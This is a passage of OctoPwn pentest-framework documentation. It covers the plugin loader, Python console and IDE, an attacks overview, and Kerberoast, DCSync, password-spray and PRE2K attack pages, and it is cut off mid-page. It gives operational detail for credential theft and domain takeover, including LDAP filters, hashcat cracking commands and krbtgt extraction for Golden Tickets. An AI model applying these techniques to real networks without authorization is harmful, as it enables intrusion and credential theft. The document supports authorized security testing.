stoppable must implement their own shutdown signal (typically by checking a flag in their `run()` loop). --- ## Commands ### GENERIC #### load `load(pluginname, plugin_file=None, is_auto=False)` — load a plugin by **name**. The loader looks up the plugin in the project's plugin folder and runs it. `plugin_file` and `is_auto` are typically left at their defaults; they are used by the autoloader path below. Each invocation gets a unique internal name (`<pluginname>-<counter>`) so the same plugin can be loaded multiple times — useful for plugins that take parameters and you want several concurrent instances. #### autoload `autoload()` — iterate over every plugin marked **autoload** for the current project and load each one. Equivalent to calling `load` once per autoload plugin. This is also what OctoPwn calls automatically at project startup when the plugin loader util is started. #### loaddev `loaddev(pluginpath, pluginname=None)` — **development** flavour of `load` that takes an arbitrary file system path instead of a managed plugin name. Use this when iterating on a plugin in the OctoPwn IDE — point it at the file you're editing and it will hot-load the new revision (a fresh `OctoPwnPlugin` instance) without touching the managed plugin store. !!! warning "loaddev is for development only" `loaddev` runs *any* Python file you point it at. Don't expose it to untrusted operators, and don't load files of unknown provenance — a plugin has the same access to the OctoPwn object as any built-in module (credentials, sessions, targets, network). --- ## Authoring plugins A minimal plugin that prints "hello" once a minute: ```python import asyncio class OctoPwnPlugin: def __init__(self): self.octopwn = None self.print = None async def pluginsetup(self, name, octopwnobj, print_cb, client_id): self.octopwn = octopwnobj self.print = print_cb async def run(self): while True: await self.print('hello from a plugin') await asyncio.sleep(60) ``` For richer plugins (registering credential / session handlers, calling into core modules, creating sessions on the fly) see the [function stubs and language server](https://github.com/octopwn/octopwn-ide-language-server) in the IDE — the stubs document the full `OctoPwnPlugin` contract and the `octopwnobj` API surface. --- ## Limitations and caveats - **No sandboxing.** Plugins run in the same Python interpreter as OctoPwn itself. They have full access to `octopwnobj` (credentials, sessions, targets) and to the host filesystem (subject to the WASM sandbox in the browser build). - **No automatic reload.** Editing a plugin file does not re-run the plugin — invoke `loaddev` (dev) or stop and re-`load` (managed) to pick up changes. - **`run()` is awaited as a task.** A plugin whose `run()` returns immediately is effectively a one-shot — that's fine, but be aware there's no way to "tick" a plugin from the loader after `run()` completes. - **Errors during `pluginsetup` or `run` are printed to the session** but do not crash OctoPwn. Long-running plugins should `try/except` their main loop to avoid silently dying on transient errors. --- ## See also - [IDE utility](ide.md) — the in-browser editor with autocompletion / stubs for authoring plugins. - [Python console](python-console.md) — when a plugin is overkill and you just want to run a few lines of Python against `octopwnobj`. - [OctoPwn IDE Language Server](https://github.com/octopwn/octopwn-ide-language-server) — the function stubs that define the plugin API. --- # [Utilities / Operator helpers] ide Source: https://docs.octopwn.com/plugins/utils/ide.html # IDE Utility The **IDE Utility** in OctoPwn serves as an **Integrated Development Environment** for extending and automating OctoPwn functionalities. It provides a streamlined way to develop custom plugins and scripts tailored to your needs, with built-in support for code stubs, autocompletion, and language server integration. ## Getting Started ### Function Stubs Predefined function stubs for plugin development are available on the official GitHub repository: !!! info "OctoPwn Function Stubs" [OctoPwn IDE Language Server](https://github.com/octopwn/octopwn-ide-language-server) Use these stubs to start developing custom plugins that integrate seamlessly into OctoPwn. --- ## Enabling the OctoPwn Language Server The **OctoPwn Language Server** provides autocompletion and enhanced development support. To enable it: 1. Navigate to **Global Settings > Change IDE Language Server**. 2. Enter the following URL: `wss://symbols.octopwn.com` 3. Save the settings to activate the language server. !!! warning Enabling the OctoPwn Language Server sends your code to OctoPwn's servers for processing. Ensure you are comfortable with this before proceeding, especially when handling sensitive or proprietary code. --- # [Utilities / Operator helpers] python-console Source: https://docs.octopwn.com/plugins/utils/python-console.html # Python Console The **Python Console** is an in-browser Python interpreter wired into the OctoPwn UI. It is intended for **quick, one-off Python evaluation** — testing a snippet, computing something on the fly, importing a module to inspect its attributes, prototyping the body of a [plugin](pluginloader.md) before formalising it. It is not a full IDE — for that, see the [IDE utility](ide.md). It is not a shell — for that, see the [Terminal utility](terminal.md). It is not a remote interpreter either — the code runs **in the same Python interpreter as OctoPwn itself**, with full access to the live `octopwnobj`, the loaded credentials, the open sessions, and the project state. --- ## Limitations to know about up front - **Synchronous.** The console is a classic REPL — it does not run in the asyncio event loop. Long-running code blocks the OctoPwn event loop while it runs. In the WASM build, long-running code freezes the browser tab. Keep snippets short. - **`await` does not work** at the top level. To call coroutines, use `asyncio.get_event_loop().run_until_complete(...)` (server build only) or schedule them as tasks and inspect them later. - **No isolation.** Anything you do in the console affects the running OctoPwn instance. Setting attributes on `octopwnobj`, mutating the Hub, closing sessions — all of it is real and persistent. - **No persistence between sessions.** The console state is lost when the project is closed. --- ## When to use it | You want to… | Use… | | --- | --- | | Run a few lines of Python against `octopwnobj` | Python Console | | Author a reusable extension with autocompletion | [IDE utility](ide.md) | | Drive a long-running, async task | [Plugin Loader](pluginloader.md) | | Run a local OS command | [Terminal utility](terminal.md) | --- ## See also - [IDE utility](ide.md) — full plugin development environment with autocompletion via the OctoPwn language server. - [Plugin Loader](pluginloader.md) — the right home for any non-trivial Python you want to keep around. - [Terminal utility](terminal.md) — when you want a shell, not a Python REPL. --- # [Attacks] Overview Source: https://docs.octopwn.com/plugins/attacks/overview.html # Attacks OctoPwn's **Attacks** are one-button orchestrators for higher-level, multi-step techniques — the post-exploitation moves you'd otherwise stitch together by hand from the [Clients](../clients/overview.md), [Scanners](../scanners/index.md) and [Servers](../servers/overview.md). Each attack is configured like a scanner (parameters in a session window, results land in the [Credentials Hub](../../user-guide/credentials.md)), but instead of "find hosts that match X" it does "perform multi-stage technique X end to end". Examples of what's automated: - The full **DCSync** flow with optional LDAP-driven user filtering. - The full **CVE-2025-33073 NTLM-reflection** chain (DNS write → relay server → coerce → SYSTEM session per target). - **AD CS ESC1 / ESC4** including template-flag flip + restore. - **Resource-Based Constrained Delegation** including machine-account creation + cleanup. - **Shadow Credentials** including `msDS-KeyCredentialLink` write + restore + UnPAC the Hash. Hits — NT hashes, AES keys, PFX credentials, service tickets, community strings, NTP roast hashes — are stored automatically in the [Credentials Hub](../../user-guide/credentials.md) for immediate use by any downstream client / scanner / attack / server. --- ## AD credentials and secrets | Attack | What it does | | ------------------------------- | ----------------------------------------------------------------------------------------------------- | | [`KERBEROAST`](kerberoast.md) | SPN-roast **and** AS-REP-roast every eligible user across all etypes (RC4 / AES128 / AES256). | | [`DCSYNC`](dcsync.md) | Pull every NT / AES / DPAPI key out of AD via DRSGetNCChanges. Optional LDAP filter for scope. | | [`ADSPRAY`](adspray.md) | Lockout-aware password spray (passwords *or* NT hashes) across all enabled domain users. | | [`PRE2K`](pre2k.md) | Find machine accounts whose password is still the legacy "lowercased name" default. | | [`TIMEROAST`](timeroast.md) | Unauthenticated NTP-RID-roast against DCs; recovers computer-account hashes for offline cracking. | ## AD CS (Active Directory Certificate Services) | Attack | What it does | | ----------------------- | ------------------------------------------------------------------------------------------------------- | | [`ESC1`](esc1.md) | Enroll a SAN-supplying certificate as any user via a vulnerable template (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT). | | [`ESC4`](esc4.md) | When you can *write* the template object: temporarily enable ESC1, run ESC1, restore. | For the HTTP / Web-Enrollment AD CS variant (ESC8), see the [`RELAYESC8` server](../servers/relayesc8.md). ## Kerberos delegation | Attack | What it does | | -------------------------------------------- | --------------------------------------------------------------------------------------------------------- | | [`RBCD`](rbcd.md) | Resource-Based Constrained Delegation: create a machine, write `msDS-AllowedToActOnBehalfOfOtherIdentity`, S4U, restore. | | [`SHADOWCREDS`](shadowcreds.md) | Plant a `msDS-KeyCredentialLink` entry on a target user/computer, PKINIT, UnPAC the hash, restore. | | [`CONSTRAINEDDELEG`](constraineddeleg.md) | Use an already-configured constrained-delegation right (S4U2Self → S4U2Proxy) to impersonate any user. | ## Coercion and relay | Attack | What it does | | ----------------------------------- | ----------------------------------------------------------------------------------------------------------------------- | | [`COERCER`](coercer.md) | Multi-vector coercion driver — fires PetitPotam (EFSRPC), PrinterBug (RPRN), ShadowCoerce (FSRVP), DFSCoerce (DFSNM), EventLog (EVEN). | | [`NTLMREFLECTION`](ntlmreflection.md) | One-button CVE-2025-33073 chain: scan → DNS write → relay server → COERCER → SYSTEM session per vulnerable target. | For the listener side of these coercions, see the [server pages](../servers/overview.md): [`SPOOFER`](../servers/spoofer.md), [`RELAYSMB`](../servers/relaysmb.md), [`RELAYLDAP`](../servers/relayldap.md), [`RELAYMSSQL`](../servers/relaymssql.md), [`RELAYESC8`](../servers/relayesc8.md), [`RELAYNTLMREFLECTION`](../servers/relayreflection.md). ## SMB host secrets | Attack | What it does | | ----------------------------------- | ------------------------------------------------------------------------------------------------------------- | | [`SMBREGDUMP`](smbregdump.md) | Dump SAM / SYSTEM / SECURITY hives via `BaseRegSaveKey` to disk on the target, read back, parse, delete. | | [`SMBREGDUMP2`](smbregdump2.md) | Same secrets, no disk artifact — temporarily widens registry security descriptors and reads in-place. | | [`DPAPI`](dpapi.md) | Full DPAPI loot: master keys + credentials + Chrome blobs + SCCM (Network Access Account, Task Sequences, …). | ## Edge cases | Attack | What it does | | ------------------------------- | --------------------------------------------------------------------------------------------- | | [`SNMPBRUTE`](snmpbrute.md) | Brute-force SNMPv2c community strings against `161/UDP`. | | [`IPMIHASH`](ipmihash.md) | Capture IPMI 2.0 RAKP hashes (one of the few pre-auth, no-creds-needed wins on bare-metal). | --- ## Choosing the right attack A few rules of thumb that come up in real engagements: - **You have a domain user but no admin anywhere** → run [`KERBEROAST`](kerberoast.md) + [`ADSPRAY`](adspray.md) + [`PRE2K`](pre2k.md) + [`TIMEROAST`](timeroast.md) in parallel as a fan-out. Then look at AD CS templates with the [LDAP client](../clients/ldap.md) — if any is ESC1-vulnerable, run [`ESC1`](esc1.md). - **You have local admin on one machine, want lateral movement** → run [`DPAPI`](dpapi.md) (covers DPAPI + SCCM + registry secrets in one pass). - **You have replicating-rights on the domain** → run [`DCSYNC`](dcsync.md); one shot, pulls everything. - **You have *any* domain user and a vulnerable subnet** → run [`NTLMREFLECTION`](ntlmreflection.md) in continuous mode. Auto-owns every CVE-2025-33073-vulnerable host that gets added to the project. - **You can write to a target user's `msDS-KeyCredentialLink` ACL** → run [`SHADOWCREDS`](shadowcreds.md). Cleanest user takeover primitive in AD. - **You can write to a target machine's `msDS-AllowedToActOnBehalfOfOtherIdentity` ACL** → run [`RBCD`](rbcd.md). Cleanest machine takeover primitive. Each attack page lists its prerequisites, the exact LDAP / SMB / RPC operations it performs, the credentials it produces, and the manual client-side equivalents you'd use for full control instead. --- # [Attacks / AD credentials & secrets] kerberoast Source: https://docs.octopwn.com/plugins/attacks/kerberoast.html # Kerberoast Attack The **Kerberoast** attack module performs both classic **SPN-roasting** (MITRE ATT&CK [T1558.003](https://attack.mitre.org/techniques/T1558/003/)) **and** **AS-REP roasting** (T1558.004) against Active Directory in a single run, against every etype the KDC will issue (RC4, AES128, AES256). Hashes are stored in the [Credentials Hub](../../user-guide/credentials.md) under credential type `KERBEROAST`, ready to copy into Hashcat / John for offline cracking. Both techniques exploit the same underlying property: any authenticated principal in a realm can request a Kerberos ticket whose encrypted portion is sealed with the *target account's* password-derived key. Crack the encrypted blob offline → recover the target account's password. | Sub-attack | Targets | Hashcat prefix | Etypes generated | | ---------------- | ------------------------------------------------ | ----------------- | ---------------------------------- | | **SPN-roast** | All users with a `servicePrincipalName` set | `$krb5tgs$` | RC4 (23), AES128 (17), AES256 (18) | | **AS-REP roast** | All users with `DONT_REQ_PREAUTH` (UF) flag set | `$krb5asrep$` | RC4 (23), AES128 (17), AES256 (18) | OctoPwn enumerates both candidate sets automatically from LDAP and runs the appropriate roast against each user — you don't need to feed in lists of accounts. --- ## How it works 1. **LDAP enumeration.** OctoPwn opens an LDAP/LDAPS connection to `ldaptarget` (or `target` if `ldaptarget` is unset) using the supplied `credential`. Both NTLM and Kerberos binds are tried over both LDAP and LDAPS — whichever succeeds first wins. 2. **Two filters are applied:** - `(&(samAccountType=805306368)(servicePrincipalName=*))` — service users (SPN-roast candidates). The `krbtgt` account is explicitly excluded. - `(userAccountControl:1.2.840.113556.1.4.803:=4194304)` — `DONT_REQ_PREAUTH` users (AS-REP-roast candidates). 3. **For each candidate, OctoPwn issues a TGS-REQ (SPN-roast) or AS-REQ (AS-REP-roast) to the KDC** in `target`. For SPN-roast, the request is repeated with each of `etype=23,17,18` so you get the RC4 *and* the AES variants — useful when one is considered weak by your cracker, or when the KDC supports only a subset. 4. **Cross-domain support.** When `target` and `ldaptarget` are different (i.e. you enumerate from one DC but request tickets from another DC's KDC), the SPN-roast loop sets `cross_domain=True` so the TGS-REQ goes through the correct cross-realm path. 5. **WSNET browser path.** When the supplied `credential` has secret type `WSNET` (i.e. the credential is the wsnet-bridged identity of the user's *browser session*), OctoPwn switches to a different code path that asks the wsnet agent to acquire the tickets directly via the platform Kerberos API. This is the only way to roast from a logged-in domain user without exposing their password / NT hash to the framework. 6. **Hash storage.** Each captured hash is saved in the project's Credentials Hub with: - `secret = <full hashcat-format string>` (the `$krb5tgs$...` or `$krb5asrep$...` blob). - `stype = 'KERBEROAST'`. - `source = 'KERBEROAST-<session-id>'`, `description = 'KERBEROAST'`. - `username` / `domain` populated from the AD object. The exact ticket type (`kerberoast_rc4` / `kerberoast_aes128` / `kerberoast_aes256` / `asreproast_rc4` / …) is recorded as the result `ttype` so the [vulnerability engine](../../user-guide/credentials.md) can fire the right rules. --- ## Prerequisites - A **valid domain credential** (any user — including a low-priv account or a WSNET-bridged interactive logon). No special privileges are required to issue TGS-REQs or AS-REQs. - LDAP and Kerberos network access from the OctoPwn agent to the DC. If you need to proxy through wsnet, set `proxy`. - For **AS-REP roast** to find anything, at least one user must have `DONT_REQ_PREAUTH` set on their account. This is uncommon by default but creeps in through legacy app onboarding mistakes — the scan is essentially free, so always run it. - For **SPN-roast** to find anything, at least one user (not computer) account in the domain must have a `servicePrincipalName` set. Service accounts for legacy products (SQL Server with non-default service accounts, Exchange, custom IIS app pools, …) are the usual hits. !!! tip "Pair with the krb5user scanner" The [`krb5user`](../scanners/krb5user.md) scanner discovers valid usernames against a KDC without needing credentials. If you have a username list but no password, feed those usernames into `krb5user`, and any user that comes back as `KDC_ERR_PREAUTH_REQUIRED` (i.e. they exist but require pre-auth) is **not** an AS-REP-roast candidate; the ones that come back with a ticket *are* — that hash is immediately roastable. --- ## Parameters ### Normal parameters #### `target` Target ID of the **KDC** that will be asked to issue tickets — typically a Domain Controller in the realm you want to roast. Required. #### `ldaptarget` Target ID of the **DC used for LDAP enumeration**. Optional; defaults to `target` when unset. Set this only for cross-realm operations where you want to enumerate roastable accounts on one domain and request their tickets via another domain's trust path. #### `credential` Credential ID of any **authenticated domain user**. Used for both the LDAP bind (NTLM/Kerberos auto-detected) and as the requesting principal for the TGS-REQ / AS-REQ Kerberos exchanges. A low-priv user is sufficient. #### `proxy` Proxy ID for the LDAP and Kerberos traffic. Required only when the OctoPwn agent cannot reach the DC directly. ### Advanced parameters The standard `ScannerBaseParameters` set: `maxruntime`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`. See the [scanner parameters reference](../scanners/baseline.md) for descriptions; defaults are fine for almost every Kerberoast run. --- ## Output Each roastable user produces one result row per etype that the KDC actually issued: ``` ttype user domain hashcatres kerberoast_rc4 svc-sql CORP.LOCAL $krb5tgs$23$*svc-sql$CORP.LOCAL$... kerberoast_aes128 svc-sql CORP.LOCAL $krb5tgs$17$*svc-sql$CORP.LOCAL$... kerberoast_aes256 svc-sql CORP.LOCAL $krb5tgs$18$*svc-sql$CORP.LOCAL$... asreproast_rc4 legacy-svc CORP.LOCAL $krb5asrep$23$legacy-svc@CORP.LOCAL:... ``` The full Hashcat-formatted blob is what gets stored in the Credentials Hub — copy it straight into Hashcat: ``` hashcat -m 13100 spn.hashes wordlist.txt # $krb5tgs$23 (RC4) hashcat -m 19700 spn.hashes wordlist.txt # $krb5tgs$17 (AES128) hashcat -m 19600 spn.hashes wordlist.txt # $krb5tgs$18 (AES256) hashcat -m 18200 asrep.hashes wordlist.txt # $krb5asrep$23 (RC4) hashcat -m 31300 asrep.hashes wordlist.txt # $krb5asrep$17 (AES128) hashcat -m 33200 asrep.hashes wordlist.txt # $krb5asrep$18 (AES256) ``` --- ## See also - [Kerberos client → kerberoast / asreproast](../clients/kerberos.md) — the same primitives one-account-at-a-time, useful when you want full control over the Kerberos exchange (custom etypes, specific SPNs, etc.). - [`krb5user` scanner](../scanners/krb5user.md) — unauthenticated AS-REP-roastable user discovery. - [LDAP client](../clients/ldap.md) — to manually enumerate `servicePrincipalName` users ([`spns`](../clients/ldap.md#spns)) or `DONT_REQ_PREAUTH` users ([`asrep`](../clients/ldap.md#asrep)) without triggering a roast yet. --- # [Attacks / AD credentials & secrets] dcsync Source: https://docs.octopwn.com/plugins/attacks/dcsync.html # DCSync Attack The **DCSync** attack module performs the canonical DCSync technique — replicating secrets out of Active Directory by impersonating a Domain Controller at the `MS-DRSR` (Directory Replication Service) RPC level. It is the cleanest path from "replicating-rights credential" to **every NT hash, AES key, Kerberos key, supplemental credential, and DPAPI domain backup key in the directory**. This is the same primitive Mimikatz exposes as `lsadump::dcsync` and Impacket as `secretsdump.py -just-dc`; in OctoPwn it is wrapped as a multi-target scanner-style executor with optional LDAP-driven user filtering. | Source | Output stored where | | ------------------------ | ----------------------------------------------------------- | | Per-user RC4 / AES / DES | [Credentials Hub](../../user-guide/credentials.md), `stype = nt` / `aes_256` / `aes_128` / `des_cbc_md5` | | `krbtgt` | Same — required for Golden Ticket forging | | Domain DPAPI backup keys | Stored on the project; subsequent [`DPAPI`](dpapi.md) runs use them automatically for "God Mode" decryption | | Cleartext (UF\_USE\_DES, reversibly-encrypted, *etc.*) | Hub as `password` when present | --- ## How it works 1. **SMB connect + login** with the supplied `credential` against the next target (typically a Domain Controller). The credential needs **DCSync rights** — either built-in (`Domain Admins`, `Enterprise Admins`, `Administrators` on the DC, `Domain Controllers`) or via an explicit ACE granting `DS-Replication-Get-Changes` + `DS-Replication-Get-Changes-All` on the domain object. If you're not sure whether your account has it, the LDAP client's [`acl`](../clients/ldap.md) commands can tell you. 2. **`SMBMachine.dcsync(target_users=...)`** is invoked, which under the hood: - Opens a DCERPC bind to the `\PIPE\lsarpc` named pipe. - Issues `DRSBind` to register us as a fake DC. - For each user in `target_users` (or every user when none specified), issues `DRSGetNCChanges` requesting the user's secret attributes. - Decrypts the returned blob using session-key wrapping → emits a `pypykatz` `OffineRegistry` (yes, the typo is in the upstream class name) entry per user. 3. **LDAP-driven user filter (optional).** When `ldapfilter` is set: - OctoPwn opens a separate LDAP / LDAPS connection (using `ldaptarget` / `ldapcredential` / `ldapauthtype` / `ldapproxy` / `ldapprotocol` if provided, otherwise reusing the SMB target / credential). - Runs the supplied LDAP filter, paged-search, attribute `sAMAccountName` only. - The resulting list of usernames is passed as `target_users` to the DCSync run, instead of "all users". This is the recommended path for big environments where you don't want to replicate the entire directory — example filters below. 4. **Result handling.** - When `storecreds=True`, every recovered secret is added to the [Credentials Hub](../../user-guide/credentials.md) via `store_ntds_secrets`. - When `outfile` is set, the human-readable Mimikatz-style line for each user is appended to the file in `/browserfs/volatile`. - When `outfilehash` is set, a flat list of NT hashes (one per line) is appended to that file — convenient for piping into Hashcat / John. - If neither file is set and `storecreds=False`, the result is just printed to the session window. --- ## Useful LDAP filters `ldapfilter` accepts any standard LDAP filter — `sAMAccountName` is the only attribute fetched, so the filter just needs to *select* the right objects. A few recipes: ``` # Every enabled user account (skip computers & disabled accounts) (&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) # Only members of Domain Admins (&(samAccountType=805306368)(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local)) # Only the krbtgt account (for forging Golden Tickets) (sAMAccountName=krbtgt) # Only computer accounts (machine NT hashes) (samAccountType=805306369) # Specific OU (&(samAccountType=805306368)(distinguishedName=*OU=Servers,DC=corp,DC=local)) ``` If you want a single user without any filter overhead, set `username` instead. --- ## Prerequisites - **DCSync rights** for the supplied `credential`. Without them, the `DRSGetNCChanges` call returns `ERROR_DS_DRA_ACCESS_DENIED` and the attack errors out per-user. - **Outbound `445/TCP`** from the agent to the target DC (DCERPC over SMB named pipes is what's used). - **The target must be a Domain Controller**. DCSync against a member server is not a thing — the relevant RPC interface only exists on DCs. - **Defender / Advanced Threat Analytics** can detect DCSync via the `4662` event ("Object Operation") combined with the `89e95b76-444d-4c62-991a-0facbeda640c` GUID in the access-mask. On monitored environments, expect alerts. --- ## Parameters ### Normal parameters #### `credential` ID of the credential to authenticate over SMB. Must hold DCSync rights. #### `targets` List of targets — typically a single DC, but standard list / CIDR / file / `all` syntax works. #### `domain` Optional. Override the domain DCSync targets. Default: detected from the SMB context. #### `storecreds` Default: `False`. When `True`, every recovered secret is added to the Credentials Hub. **Set this to `True` for almost every real run** — without it, the secrets only land in the result stream and `outfile`. #### `username` Optional. Limit DCSync to a single named account (e.g. `krbtgt`). Mutually useful with `ldapfilter` for the simple case. #### `outfile` Optional. Filename in `/browserfs/volatile` to append human-readable results to (one line per user, Mimikatz-style). #### `outfilehash` Optional. Filename in `/browserfs/volatile` to append flat NT hashes to (one per line). Convenient for piping into a cracker. #### `ldapfilter` Optional. LDAP filter string. When set, OctoPwn first runs an LDAP search and passes the resulting `sAMAccountName` list as the DCSync target list. ### Advanced parameters These only matter when `ldapfilter` is set and the LDAP context differs from the SMB context: #### `ldaptarget` Target ID of the DC to use for the LDAP filter step. Defaults to `targets[0]`. #### `ldapcredential` Credential ID for the LDAP bind. Defaults to `credential`. #### `ldapauthtype` LDAP auth protocol. Default: `NTLM`. Set to `KERBEROS` if your credential is Kerberos-only. #### `ldapproxy` Proxy ID for the LDAP connection. #### `ldapprotocol` Default: `LDAP`. Use `LDAPS` for TLS; `STARTTLS` for plain-port-with-StartTLS. Plus the standard credentialled-SMB scanner parameter set: `authtype`, `dialect`, `krbetypes`, `krbrealm`, `maxruntime`, `proxy`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`. See [SMB client → authentication](../clients/smb.md#authentication) for the auth-related ones. --- ## Typical workflow 1. **Confirm DCSync rights** before running. Either you know your account is in `Domain Admins` (trivial) or you've explicitly granted DCSync via [`addaceuser`](../clients/ldap.md) / `addacegroup` (e.g. after a successful [`RELAYLDAP`](../servers/relayldap.md) ACL write). 2. **Decide your scope.** - "Whole domain" — leave `username` and `ldapfilter` empty, set `storecreds=True`, set `outfile=ntds.dump`. - "Just `krbtgt`" — set `username=krbtgt`. Use this on quick smash-and-grab runs where you only want to forge a Golden Ticket. - "Just enabled users" — set the LDAP filter shown above. 3. **Run it.** With `storecreds=True`, the Credentials Hub fills up with the directory's NT hashes / AES keys / DPAPI backup keys. 4. **Use the loot.** - NT / AES keys → pass-the-hash, pass-the-key, [Kerberos](../clients/kerberos.md) ticket forging. - `krbtgt` → Golden / Sapphire / Diamond tickets. - Domain DPAPI backup keys → "God Mode" for the [`DPAPI`](dpapi.md) attack against any host in the domain. --- ## See also - [LDAP client](../clients/ldap.md) — to *grant* DCSync rights with `addaceuser` / `addacegroup` after a successful [`RELAYLDAP`](../servers/relayldap.md) bind. - [`DPAPI`](dpapi.md) — biggest direct beneficiary of DCSync output (domain backup keys). - [Kerberos client](../clients/kerberos.md) — for using `krbtgt` and service-account keys to forge tickets. - [SMB client](../clients/smb.md) — for the single-host `dcsync` command (same primitive without the multi-target / LDAP-filter harness). --- # [Attacks / AD credentials & secrets] adspray Source: https://docs.octopwn.com/plugins/attacks/adspray.html # ADSpray Attack The **ADSpray** attack is OctoPwn's **Active Directory password spray** module. It tests a small list of likely passwords against many user accounts in parallel, *safely*: it reads the domain's lockout policy from LDAP up front and self-throttles so that no single account ever exceeds `lockoutThreshold - 1` failed attempts in one observation window. Hits are stored automatically in the [Credentials Hub](../../user-guide/credentials.md) with `stype = PASSWORD`, `source = ADSPRAY-<session-id>` — ready to feed into any subsequent attack / client / scanner. The two important properties: - **NT-hash spraying is supported.** If a candidate "password" is a 32-character hex string, OctoPwn treats it as an NT hash and uses pass-the-hash for that attempt. Mix passwords and NT hashes freely in the same list. - **Lockout-aware.** ADSpray reads `lockoutThreshold` and `lockOutObservationWindow` from the domain object via LDAP and: - Skips users whose `userAccountControl` has `ACCOUNTDISABLE` set. - Per user, never sends more than `lockoutThreshold - 1` attempts before sleeping for `max(lockOutObservationWindow + 1, 60)` seconds and continuing. - Skips four well-known accounts up front: `krbtgt`, `Guest`, `Administrator`, `root`, `admin` (when no explicit `users` list is supplied — these accounts have very different lockout behaviour and are typically not the target of a spray anyway; if you *want* to spray `Administrator`, name it explicitly in `users`). --- ## How it works 1. **LDAP enumeration.** A connection is opened to `target` using `credential`. Both NTLM and Kerberos are tried over both LDAP and LDAPS — first one that binds wins. 2. **Domain info fetch.** OctoPwn reads the AD info object to get `lockoutThreshold` and `lockOutObservationWindow`. These drive the rate limiter. 3. **User list construction.** - If `users` is empty, fetch every user account from LDAP, filter out disabled accounts and the well-known names (above), use the rest. - If `users` is non-empty, look each name up in LDAP and use the matched `MSADUser` objects (so OctoPwn knows the per-user `badPwdCount` and can reason about how many attempts that specific account can still take). 4. **Parallel sprayer.** Up to **100 users at a time** are sprayed in parallel (`batch_size = 100`). Each user runs an independent `UserSprayer`: - For each candidate password / NT hash, attempt an SMB authentication against `target` as `<domain>\<sAMAccountName>:<candidate>`. - If the bind succeeds, store the credential and stop spraying *that* user. - If `lockoutThreshold - 1` failures have been delivered and there are still candidates left, sleep `max(lockOutObservationWindow + 1, 60)` seconds, then resume. - There's a hard-coded **5-second sleep between consecutive attempts per user**, to keep the per-user attempt rate well below typical brute-force-detection thresholds. 5. **Hits land in the Hub** and the `users / domain / password` row is emitted in the result stream. --- ## Prerequisites - A **working domain credential** to read LDAP. Any low-priv domain user works — `Domain Users` is enough to read `lockoutThreshold`, `lockOutObservationWindow` and the `sAMAccountName` of every account. - **Outbound `445/TCP`** from the agent to `target` (the spray attempts go to `<target>:445`). - A **realistic password list** — `passwords` is mandatory and should usually contain ≤ 5 entries (`Welcome2024!`, `Summer2024!`, `Password1`, the org name + `1`, *etc.*). The whole point of password-spraying is *one password against many users*, not many passwords against one user. --- ## Parameters ### Normal parameters #### `target` Target ID of the **Domain Controller** (used for both LDAP enumeration *and* SMB authentication attempts). Required. !!! note "Spraying SMB ≠ spraying every host" The spray happens against the DC's SMB service. This counts as one logon attempt against the user account from AD's perspective — exactly what `lockoutThreshold` is checked against. You don't gain coverage by spraying multiple member servers; you only multiply your noise. #### `credential` Credential ID for the **LDAP read** at the start of the run. Any domain user. #### `passwords` Comma-separated list of passwords *or* NT hashes (32-char hex strings). Both can be mixed freely in the same list. Required. #### `users` Comma-separated list of `sAMAccountName` values to attack. Optional. When empty, ADSpray sprays *every enabled, non-system user in the domain*. When non-empty, those exact users are looked up in LDAP and only they are sprayed. #### `proxy` Optional. Proxy ID for both LDAP and SMB traffic. ### Advanced parameters The standard `ScannerBaseParameters` set: `maxruntime`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`. See the [scanner parameters reference](../scanners/baseline.md). Defaults are fine. --- ## Output For each successful (user, password) pair: ``` user domain password jdoe CORP.LOCAL Welcome2024! svc-jenkins CORP.LOCAL 3a8b...c4f1 # NT hash hit ``` Hits are also added to the Credentials Hub with `stype = PASSWORD` regardless of whether the input was a password or an NT hash (the secret is stored as the matching value — for NT-hash hits the `secret` is the hex hash string). --- ## Operational guidance - **Pre-flight with [`smblogin`](../scanners/smbbrute.md) for free.** If you have access to a list of usernames *but no LDAP read*, you can try a single password against many users without LDAP at all. ADSpray's value-add is the lockout safety + pulling the user list straight out of LDAP, so use it whenever you have any LDAP read. - **Pull sub-lists from LDAP first.** For wide engagements it's often cheaper to pre-extract enabled users matching some criterion via the [LDAP client](../clients/ldap.md) (e.g. members of a specific group, OU, or accounts whose `pwdLastSet` is recent), save the list, and feed it to ADSpray as `users`. This narrows scope without paying the `lockoutThreshold - 1` parallelism tax across thousands of accounts you don't care about. - **Combine with [`KERBEROAST`](kerberoast.md).** A successful spray gives you a domain user; that user is enough to immediately run KERBEROAST and AS-REP roast across the same domain. - **Lockout policies can be FGPP-overridden per user.** ADSpray reads the *domain*-level lockout policy. If the target has a Fine-Grained Password Policy with a tighter lockout, ADSpray can over-attempt and lock the affected accounts. Check FGPP via the LDAP client's PSO objects before spraying high-value users. --- ## See also - [LDAP client](../clients/ldap.md) — for pre-extracting tailored user lists (`pso`, `getuser`, group membership) before spraying. - [`KERBEROAST`](kerberoast.md) — natural follow-up: any domain user obtained via spray is a valid roaster. - [`SMB client`](../clients/smb.md) — for one-off authentication tests once ADSpray gives you a hit. - [`smbbrute` scanner](../scanners/smbbrute.md) — single-credential SMB-bind sweep across many *hosts* (the inverse of password-spray). --- # [Attacks / AD credentials & secrets] pre2k Source: https://docs.octopwn.com/plugins/attacks/pre2k.html # Pre-Windows 2000 Compatibility Attack The **PRE2K** attack abuses a long-standing AD quirk: machine accounts created through the legacy "Pre-Windows 2000 compatibility" code path get a default password derived from the machine's own `sAMAccountName`. Specifically, the password is set to the machine name **lowercased** and **truncated** — and if the machine never finishes its first AD logon, that default password is never rotated. The attack: 1. Enumerates machine accounts via LDAP. 2. For each account, builds the candidate default password and **tries an SMB bind**. 3. Stores any working `<machine>$ : <password>` pair as a project credential. Hits are gold for both **Kerberoast-style cracking** (the password is short and predictable so it cracks instantly anyway) and as a foothold to **rotate the machine's password yourself** before it gets used by anything else — see "Output and follow-up" below. --- ## How it works 1. **LDAP session** is opened against `target` using `credential` (NTLM or Kerberos, both LDAP and LDAPS tried in turn). The credential needs the bare minimum: read access to the directory's machine accounts. 2. **Two enumeration modes** depending on `usefilter`: - **`usefilter = False` (default)** — every machine account in the domain is checked. Maximum coverage; loud (one SMB connect per machine). - **`usefilter = True`** — only machines matching 